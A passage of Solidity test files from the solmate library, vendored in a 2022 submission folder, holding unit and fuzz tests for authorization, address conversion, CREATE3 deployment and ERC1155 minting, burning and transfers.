function testSetOwnerWithPermissiveAuthority(address deadOwner, address newOwner) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setAuthority(new MockAuthority(true));
mockAuthChild.setOwner(deadOwner);
mockAuthChild.setOwner(newOwner);
}
function testSetAuthorityWithPermissiveAuthority(address deadOwner, Authority newAuthority) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setAuthority(new MockAuthority(true));
mockAuthChild.setOwner(deadOwner);
mockAuthChild.setAuthority(newAuthority);
}
function testCallFunctionWithPermissiveAuthority(address deadOwner) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setAuthority(new MockAuthority(true));
mockAuthChild.setOwner(deadOwner);
mockAuthChild.updateFlag();
}
function testFailSetOwnerAsNonOwner(address deadOwner, address newOwner) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setOwner(deadOwner);
mockAuthChild.setOwner(newOwner);
}
function testFailSetAuthorityAsNonOwner(address deadOwner, Authority newAuthority) public {
mockAuthChild.setOwner(deadOwner);
mockAuthChild.setAuthority(newAuthority);
}
function testFailCallFunctionAsNonOwner(address deadOwner) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setOwner(deadOwner);
mockAuthChild.updateFlag();
}
function testFailSetOwnerWithRestrictiveAuthority(address deadOwner, address newOwner) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setAuthority(new MockAuthority(false));
mockAuthChild.setOwner(deadOwner);
mockAuthChild.setOwner(newOwner);
}
function testFailSetAuthorityWithRestrictiveAuthority(address deadOwner, Authority newAuthority) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setAuthority(new MockAuthority(false));
mockAuthChild.setOwner(deadOwner);
mockAuthChild.setAuthority(newAuthority);
}
function testFailCallFunctionWithRestrictiveAuthority(address deadOwner) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setAuthority(new MockAuthority(false));
mockAuthChild.setOwner(deadOwner);
mockAuthChild.updateFlag();
}
function testFailSetOwnerAsOwnerWithOutOfOrderAuthority(address deadOwner) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setAuthority(new OutOfOrderAuthority());
mockAuthChild.setOwner(deadOwner);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/Bytes32AddressLib.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {Bytes32AddressLib} from "../utils/Bytes32AddressLib.sol";
contract Bytes32AddressLibTest is DSTestPlus {
function testFillLast12Bytes() public {
assertEq(
Bytes32AddressLib.fillLast12Bytes(0xfEEDFaCEcaFeBEEFfEEDFACecaFEBeeFfeEdfAce),
0xfeedfacecafebeeffeedfacecafebeeffeedface000000000000000000000000
);
}
function testFromLast20Bytes() public {
assertEq(
Bytes32AddressLib.fromLast20Bytes(0xfeedfacecafebeeffeedfacecafebeeffeedfacecafebeeffeedfacecafebeef),
0xCAfeBeefFeedfAceCAFeBEEffEEDfaCecafEBeeF
);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/CREATE3.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {WETH} from "../tokens/WETH.sol";
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {MockERC20} from "./utils/mocks/MockERC20.sol";
import {MockAuthChild} from "./utils/mocks/MockAuthChild.sol";
import {CREATE3} from "../utils/CREATE3.sol";
contract CREATE3Test is DSTestPlus {
function testDeployERC20() public {
bytes32 salt = keccak256(bytes("A salt!"));
MockERC20 deployed = MockERC20(
CREATE3.deploy(
salt,
abi.encodePacked(type(MockERC20).creationCode, abi.encode("Mock Token", "MOCK", 18)),
0
)
);
assertEq(address(deployed), CREATE3.getDeployed(salt));
assertEq(deployed.name(), "Mock Token");
assertEq(deployed.symbol(), "MOCK");
assertEq(deployed.decimals(), 18);
}
function testFailDoubleDeploySameBytecode() public {
bytes32 salt = keccak256(bytes("Salty..."));
CREATE3.deploy(salt, type(MockAuthChild).creationCode, 0);
CREATE3.deploy(salt, type(MockAuthChild).creationCode, 0);
}
function testFailDoubleDeployDifferentBytecode() public {
bytes32 salt = keccak256(bytes("and sweet!"));
CREATE3.deploy(salt, type(WETH).creationCode, 0);
CREATE3.deploy(salt, type(MockAuthChild).creationCode, 0);
}
function testDeployERC20(
bytes32 salt,
string calldata name,
string calldata symbol,
uint8 decimals
) public {
MockERC20 deployed = MockERC20(
CREATE3.deploy(salt, abi.encodePacked(type(MockERC20).creationCode, abi.encode(name, symbol, decimals)), 0)
);
assertEq(address(deployed), CREATE3.getDeployed(salt));
assertEq(deployed.name(), name);
assertEq(deployed.symbol(), symbol);
assertEq(deployed.decimals(), decimals);
}
function testFailDoubleDeploySameBytecode(bytes32 salt, bytes calldata bytecode) public {
CREATE3.deploy(salt, bytecode, 0);
CREATE3.deploy(salt, bytecode, 0);
}
function testFailDoubleDeployDifferentBytecode(
bytes32 salt,
bytes calldata bytecode1,
bytes calldata bytecode2
) public {
CREATE3.deploy(salt, bytecode1, 0);
CREATE3.deploy(salt, bytecode2, 0);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/DSTestPlus.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
contract DSTestPlusTest is DSTestPlus {
function testBound() public {
assertEq(bound(5, 0, 4), 0);
assertEq(bound(0, 69, 69), 69);
assertEq(bound(0, 68, 69), 68);
assertEq(bound(10, 150, 190), 174);
assertEq(bound(300, 2800, 3200), 3107);
assertEq(bound(9999, 1337, 6666), 4669);
}
function testFailBoundMinBiggerThanMax() public pure {
bound(5, 100, 10);
}
function testBound(
uint256 num,
uint256 min,
uint256 max
) public {
if (min > max) (min, max) = (max, min);
uint256 bounded = bound(num, min, max);
assertGe(bounded, min);
assertLe(bounded, max);
}
function testFailBoundMinBiggerThanMax(
uint256 num,
uint256 min,
uint256 max
) public pure {
if (max == min) {
unchecked {
min++; // Overflow is handled below.
}
}
if (max > min) (min, max) = (max, min);
bound(num, min, max);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/ERC1155.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {DSInvariantTest} from "./utils/DSInvariantTest.sol";
import {MockERC1155} from "./utils/mocks/MockERC1155.sol";
import {ERC1155User} from "./utils/users/ERC1155User.sol";
import {ERC1155TokenReceiver} from "../tokens/ERC1155.sol";
contract ERC1155Recipient is ERC1155TokenReceiver {
address public operator;
address public from;
uint256 public id;
uint256 public amount;
bytes public mintData;
function onERC1155Received(
address _operator,
address _from,
uint256 _id,
uint256 _amount,
bytes calldata _data
) public override returns (bytes4) {
operator = _operator;
from = _from;
id = _id;
amount = _amount;
mintData = _data;
return ERC1155TokenReceiver.onERC1155Received.selector;
}
address public batchOperator;
address public batchFrom;
uint256[] internal _batchIds;
uint256[] internal _batchAmounts;
bytes public batchData;
function batchIds() external view returns (uint256[] memory) {
return _batchIds;
}
function batchAmounts() external view returns (uint256[] memory) {
return _batchAmounts;
}
function onERC1155BatchReceived(
address _operator,
address _from,
uint256[] calldata _ids,
uint256[] calldata _amounts,
bytes calldata _data
) external override returns (bytes4) {
batchOperator = _operator;
batchFrom = _from;
_batchIds = _ids;
_batchAmounts = _amounts;
batchData = _data;
return ERC1155TokenReceiver.onERC1155BatchReceived.selector;
}
}
contract RevertingERC1155Recipient is ERC1155TokenReceiver {
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) public pure override returns (bytes4) {
revert(string(abi.encodePacked(ERC1155TokenReceiver.onERC1155Received.selector)));
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure override returns (bytes4) {
revert(string(abi.encodePacked(ERC1155TokenReceiver.onERC1155BatchReceived.selector)));
}
}
contract WrongReturnDataERC1155Recipient is ERC1155TokenReceiver {
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) public pure override returns (bytes4) {
return 0xCAFEBEEF;
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure override returns (bytes4) {
return 0xCAFEBEEF;
}
}
contract NonERC1155Recipient {}
contract ERC1155Test is DSTestPlus, ERC1155TokenReceiver {
MockERC1155 token;
mapping(address => mapping(uint256 => uint256)) public userMintAmounts;
mapping(address => mapping(uint256 => uint256)) public userTransferOrBurnAmounts;
function setUp() public {
token = new MockERC1155();
}
function testMintToEOA() public {
token.mint(address(0xBEEF), 1337, 1, "");
assertEq(token.balanceOf(address(0xBEEF), 1337), 1);
}
function testMintToERC1155Recipient() public {
ERC1155Recipient to = new ERC1155Recipient();
token.mint(address(to), 1337, 1, "testing 123");
assertEq(token.balanceOf(address(to), 1337), 1);
assertEq(to.operator(), address(this));
assertEq(to.from(), address(0));
assertEq(to.id(), 1337);
assertBytesEq(to.mintData(), "testing 123");
}
function testBatchMintToEOA() public {
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory amounts = new uint256[](5);
amounts[0] = 100;
amounts[1] = 200;
amounts[2] = 300;
amounts[3] = 400;
amounts[4] = 500;
token.batchMint(address(0xBEEF), ids, amounts, "");
assertEq(token.balanceOf(address(0xBEEF), 1337), 100);
assertEq(token.balanceOf(address(0xBEEF), 1338), 200);
assertEq(token.balanceOf(address(0xBEEF), 1339), 300);
assertEq(token.balanceOf(address(0xBEEF), 1340), 400);
assertEq(token.balanceOf(address(0xBEEF), 1341), 500);
}
function testBatchMintToERC1155Recipient() public {
ERC1155Recipient to = new ERC1155Recipient();
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory amounts = new uint256[](5);
amounts[0] = 100;
amounts[1] = 200;
amounts[2] = 300;
amounts[3] = 400;
amounts[4] = 500;
token.batchMint(address(to), ids, amounts, "testing 123");
assertEq(to.batchOperator(), address(this));
assertEq(to.batchFrom(), address(0));
assertUintArrayEq(to.batchIds(), ids);
assertUintArrayEq(to.batchAmounts(), amounts);
assertBytesEq(to.batchData(), "testing 123");
assertEq(token.balanceOf(address(to), 1337), 100);
assertEq(token.balanceOf(address(to), 1338), 200);
assertEq(token.balanceOf(address(to), 1339), 300);
assertEq(token.balanceOf(address(to), 1340), 400);
assertEq(token.balanceOf(address(to), 1341), 500);
}
function testBurn() public {
token.mint(address(0xBEEF), 1337, 100, "");
token.burn(address(0xBEEF), 1337, 70);
assertEq(token.balanceOf(address(0xBEEF), 1337), 30);
}
function testBatchBurn() public {
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory burnAmounts = new uint256[](5);
burnAmounts[0] = 50;
burnAmounts[1] = 100;
burnAmounts[2] = 150;
burnAmounts[3] = 200;
burnAmounts[4] = 250;
token.batchMint(address(0xBEEF), ids, mintAmounts, "");
token.batchBurn(address(0xBEEF), ids, burnAmounts);
assertEq(token.balanceOf(address(0xBEEF), 1337), 50);
assertEq(token.balanceOf(address(0xBEEF), 1338), 100);
assertEq(token.balanceOf(address(0xBEEF), 1339), 150);
assertEq(token.balanceOf(address(0xBEEF), 1340), 200);
assertEq(token.balanceOf(address(0xBEEF), 1341), 250);
}
function testApproveAll() public {
token.setApprovalForAll(address(0xBEEF), true);
assertTrue(token.isApprovedForAll(address(this), address(0xBEEF)));
}
function testSafeTransferFromToEOA() public {
ERC1155User from = new ERC1155User(token);
token.mint(address(from), 1337, 100, "");
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(0xBEEF), 1337, 70, "");
assertEq(token.balanceOf(address(0xBEEF), 1337), 70);
assertEq(token.balanceOf(address(from), 1337), 30);
}
function testSafeTransferFromToERC1155Recipient() public {
ERC1155Recipient to = new ERC1155Recipient();
ERC1155User from = new ERC1155User(token);
token.mint(address(from), 1337, 100, "");
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(to), 1337, 70, "testing 123");
assertEq(to.operator(), address(this));
assertEq(to.from(), address(from));
assertEq(to.id(), 1337);
assertBytesEq(to.mintData(), "testing 123");
assertEq(token.balanceOf(address(to), 1337), 70);
assertEq(token.balanceOf(address(from), 1337), 30);
}
function testSafeTransferFromSelf() public {
token.mint(address(this), 1337, 100, "");
token.safeTransferFrom(address(this), address(0xBEEF), 1337, 70, "");
assertEq(token.balanceOf(address(0xBEEF), 1337), 70);
assertEq(token.balanceOf(address(this), 1337), 30);
}
function testSafeBatchTransferFromToEOA() public {
ERC1155User from = new ERC1155User(token);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory transferAmounts = new uint256[](5);
transferAmounts[0] = 50;
transferAmounts[1] = 100;
transferAmounts[2] = 150;
transferAmounts[3] = 200;
transferAmounts[4] = 250;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(0xBEEF), ids, transferAmounts, "");
assertEq(token.balanceOf(address(from), 1337), 50);
assertEq(token.balanceOf(address(0xBEEF), 1337), 50);
assertEq(token.balanceOf(address(from), 1338), 100);
assertEq(token.balanceOf(address(0xBEEF), 1338), 100);
assertEq(token.balanceOf(address(from), 1339), 150);
assertEq(token.balanceOf(address(0xBEEF), 1339), 150);
assertEq(token.balanceOf(address(from), 1340), 200);
assertEq(token.balanceOf(address(0xBEEF), 1340), 200);
assertEq(token.balanceOf(address(from), 1341), 250);
assertEq(token.balanceOf(address(0xBEEF), 1341), 250);
}
function testSafeBatchTransferFromToERC1155Recipient() public {
ERC1155User from = new ERC1155User(token);
ERC1155Recipient to = new ERC1155Recipient();
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory transferAmounts = new uint256[](5);
transferAmounts[0] = 50;
transferAmounts[1] = 100;
transferAmounts[2] = 150;
transferAmounts[3] = 200;
transferAmounts[4] = 250;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(to), ids, transferAmounts, "testing 123");
assertEq(to.batchOperator(), address(this));
assertEq(to.batchFrom(), address(from));
assertUintArrayEq(to.batchIds(), ids);
assertUintArrayEq(to.batchAmounts(), transferAmounts);
assertBytesEq(to.batchData(), "testing 123");
assertEq(token.balanceOf(address(from), 1337), 50);
assertEq(token.balanceOf(address(to), 1337), 50);
assertEq(token.balanceOf(address(from), 1338), 100);
assertEq(token.balanceOf(address(to), 1338), 100);
assertEq(token.balanceOf(address(from), 1339), 150);
assertEq(token.balanceOf(address(to), 1339), 150);
assertEq(token.balanceOf(address(from), 1340), 200);
assertEq(token.balanceOf(address(to), 1340), 200);
assertEq(token.balanceOf(address(from), 1341), 250);
assertEq(token.balanceOf(address(to), 1341), 250);
}
function testBatchBalanceOf() public {
address[] memory tos = new address[](5);
tos[0] = address(0xBEEF);
tos[1] = address(0xCAFE);
tos[2] = address(0xFACE);
tos[3] = address(0xDEAD);
tos[4] = address(0xFEED);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
token.mint(address(0xBEEF), 1337, 100, "");
token.mint(address(0xCAFE), 1338, 200, "");
token.mint(address(0xFACE), 1339, 300, "");
token.mint(address(0xDEAD), 1340, 400, "");
token.mint(address(0xFEED), 1341, 500, "");
uint256[] memory balances = token.balanceOfBatch(tos, ids);
assertEq(balances[0], 100);
assertEq(balances[1], 200);
assertEq(balances[2], 300);
assertEq(balances[3], 400);
assertEq(balances[4], 500);
}
function testFailMintToZero() public {
token.mint(address(0), 1337, 1, "");
}
function testFailMintToNonERC155Recipient() public {
token.mint(address(new NonERC1155Recipient()), 1337, 1, "");
}
function testFailMintToRevertingERC155Recipient() public {
token.mint(address(new RevertingERC1155Recipient()), 1337, 1, "");
}
function testFailMintToWrongReturnDataERC155Recipient() public {
token.mint(address(new RevertingERC1155Recipient()), 1337, 1, "");
}
function testFailBurnInsufficientBalance() public {
token.mint(address(0xBEEF), 1337, 70, "");
token.burn(address(0xBEEF), 1337, 100);
}
function testFailSafeTransferFromInsufficientBalance() public {
ERC1155User from = new ERC1155User(token);
token.mint(address(from), 1337, 70, "");
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(0xBEEF), 1337, 100, "");
}
function testFailSafeTransferFromSelfInsufficientBalance() public {
token.mint(address(this), 1337, 70, "");
token.safeTransferFrom(address(this), address(0xBEEF), 1337, 100, "");
}
function testFailSafeTransferFromToZero() public {
token.mint(address(this), 1337, 100, "");
token.safeTransferFrom(address(this), address(0), 1337, 70, "");
}
function testFailSafeTransferFromToNonERC155Recipient() public {
token.mint(address(this), 1337, 100, "");
token.safeTransferFrom(address(this), address(new NonERC1155Recipient()), 1337, 70, "");
}
function testFailSafeTransferFromToRevertingERC1155Recipient() public {
token.mint(address(this), 1337, 100, "");
token.safeTransferFrom(address(this), address(new RevertingERC1155Recipient()), 1337, 70, "");
}
function testFailSafeTransferFromToWrongReturnDataERC1155Recipient() public {
token.mint(address(this), 1337, 100, "");
token.safeTransferFrom(address(this), address(new WrongReturnDataERC1155Recipient()), 1337, 70, "");
}
function testFailSafeBatchTransferInsufficientBalance() public {
ERC1155User from = new ERC1155User(token);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 50;
mintAmounts[1] = 100;
mintAmounts[2] = 150;
mintAmounts[3] = 200;
mintAmounts[4] = 250;
uint256[] memory transferAmounts = new uint256[](5);
transferAmounts[0] = 100;
transferAmounts[1] = 200;
transferAmounts[2] = 300;
transferAmounts[3] = 400;
transferAmounts[4] = 500;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(0xBEEF), ids, transferAmounts, "");
}
function testFailSafeBatchTransferFromToZero() public {
ERC1155User from = new ERC1155User(token);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory transferAmounts = new uint256[](5);
transferAmounts[0] = 50;
transferAmounts[1] = 100;
transferAmounts[2] = 150;
transferAmounts[3] = 200;
transferAmounts[4] = 250;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(0), ids, transferAmounts, "");
}
function testFailSafeBatchTransferFromToNonERC1155Recipient() public {
ERC1155User from = new ERC1155User(token);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory transferAmounts = new uint256[](5);
transferAmounts[0] = 50;
transferAmounts[1] = 100;
transferAmounts[2] = 150;
transferAmounts[3] = 200;
transferAmounts[4] = 250;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(new NonERC1155Recipient()), ids, transferAmounts, "");
}
function testFailSafeBatchTransferFromToRevertingERC1155Recipient() public {
ERC1155User from = new ERC1155User(token);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory transferAmounts = new uint256[](5);
transferAmounts[0] = 50;
transferAmounts[1] = 100;
transferAmounts[2] = 150;
transferAmounts[3] = 200;
transferAmounts[4] = 250;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(new RevertingERC1155Recipient()), ids, transferAmounts, "");
}
function testFailSafeBatchTransferFromToWrongReturnDataERC1155Recipient() public {
ERC1155User from = new ERC1155User(token);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory transferAmounts = new uint256[](5);
transferAmounts[0] = 50;
transferAmounts[1] = 100;
transferAmounts[2] = 150;
transferAmounts[3] = 200;
transferAmounts[4] = 250;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(
address(from),
address(new WrongReturnDataERC1155Recipient()),
ids,
transferAmounts,
""
);
}
function testFailSafeBatchTransferFromWithArrayLengthMismatch() public {
ERC1155User from = new ERC1155User(token);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory transferAmounts = new uint256[](4);
transferAmounts[0] = 50;
transferAmounts[1] = 100;
transferAmounts[2] = 150;
transferAmounts[3] = 200;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(0xBEEF), ids, transferAmounts, "");
}
function testFailBatchMintToZero() public {
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
token.batchMint(address(0), ids, mintAmounts, "");
}
function testFailBatchMintToNonERC1155Recipient() public {
NonERC1155Recipient to = new NonERC1155Recipient();
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
token.batchMint(address(to), ids, mintAmounts, "");
}
function testFailBatchMintToRevertingERC1155Recipient() public {
RevertingERC1155Recipient to = new RevertingERC1155Recipient();
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
token.batchMint(address(to), ids, mintAmounts, "");
}
function testFailBatchMintToWrongReturnDataERC1155Recipient() public {
WrongReturnDataERC1155Recipient to = new WrongReturnDataERC1155Recipient();
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
token.batchMint(address(to), ids, mintAmounts, "");
}
function testFailBatchMintWithArrayMismatch() public {
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory amounts = new uint256[](4);
amounts[0] = 100;
amounts[1] = 200;
amounts[2] = 300;
amounts[3] = 400;
token.batchMint(address(0xBEEF), ids, amounts, "");
}
function testFailBatchBurnInsufficientBalance() public {
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 50;
mintAmounts[1] = 100;
mintAmounts[2] = 150;
mintAmounts[3] = 200;
mintAmounts[4] = 250;
uint256[] memory burnAmounts = new uint256[](5);
burnAmounts[0] = 100;
burnAmounts[1] = 200;
burnAmounts[2] = 300;
burnAmounts[3] = 400;
burnAmounts[4] = 500;
token.batchMint(address(0xBEEF), ids, mintAmounts, "");
token.batchBurn(address(0xBEEF), ids, burnAmounts);
}
function testFailBatchBurnWithArrayLengthMismatch() public {
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory burnAmounts = new uint256[](4);
burnAmounts[0] = 50;
burnAmounts[1] = 100;
burnAmounts[2] = 150;
burnAmounts[3] = 200;
token.batchMint(address(0xBEEF), ids, mintAmounts, "");
token.batchBurn(address(0xBEEF), ids, burnAmounts);
}
function testFailBalanceOfBatchWithArrayMismatch() public view {
address[] memory tos = new address[](5);
tos[0] = address(0xBEEF);
tos[1] = address(0xCAFE);
tos[2] = address(0xFACE);
tos[3] = address(0xDEAD);
tos[4] = address(0xFEED);
uint256[] memory ids = new uint256[](4);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
token.balanceOfBatch(tos, ids);
}
function testMintToEOA(
address to,
uint256 id,
uint256 amount,
bytes memory mintData
) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
token.mint(to, id, amount, mintData);
assertEq(token.balanceOf(to, id), amount);
}
function testMintToERC1155Recipient(
uint256 id,
uint256 amount,
bytes memory mintData
) public {
ERC1155Recipient to = new ERC1155Recipient();
token.mint(address(to), id, amount, mintData);
assertEq(token.balanceOf(address(to), id), amount);
assertEq(to.operator(), address(this));
assertEq(to.from(), address(0));
assertEq(to.id(), id);
assertBytesEq(to.mintData(), mintData);
}
function testBatchMintToEOA(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
uint256 minLength = min2(ids.length, amounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[to][id];
uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);
normalizedIds[i] = id;
normalizedAmounts[i] = mintAmount;
userMintAmounts[to][id] += mintAmount;
}
token.batchMint(to, normalizedIds, normalizedAmounts, mintData);
for (uint256 i = 0; i < normalizedIds.length; i++) {
uint256 id = normalizedIds[i];
assertEq(token.balanceOf(to, id), userMintAmounts[to][id]);
}
}
function testBatchMintToERC1155Recipient(
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
ERC1155Recipient to = new ERC1155Recipient();
uint256 minLength = min2(ids.length, amounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];
uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);
normalizedIds[i] = id;
normalizedAmounts[i] = mintAmount;
userMintAmounts[address(to)][id] += mintAmount;
}
token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);
assertEq(to.batchOperator(), address(this));
assertEq(to.batchFrom(), address(0));
assertUintArrayEq(to.batchIds(), normalizedIds);
assertUintArrayEq(to.batchAmounts(), normalizedAmounts);
assertBytesEq(to.batchData(), mintData);
for (uint256 i = 0; i < normalizedIds.length; i++) {
uint256 id = normalizedIds[i];
assertEq(token.balanceOf(address(to), id), userMintAmounts[address(to)][id]);
}
}
function testBurn(
address to,
uint256 id,
uint256 mintAmount,
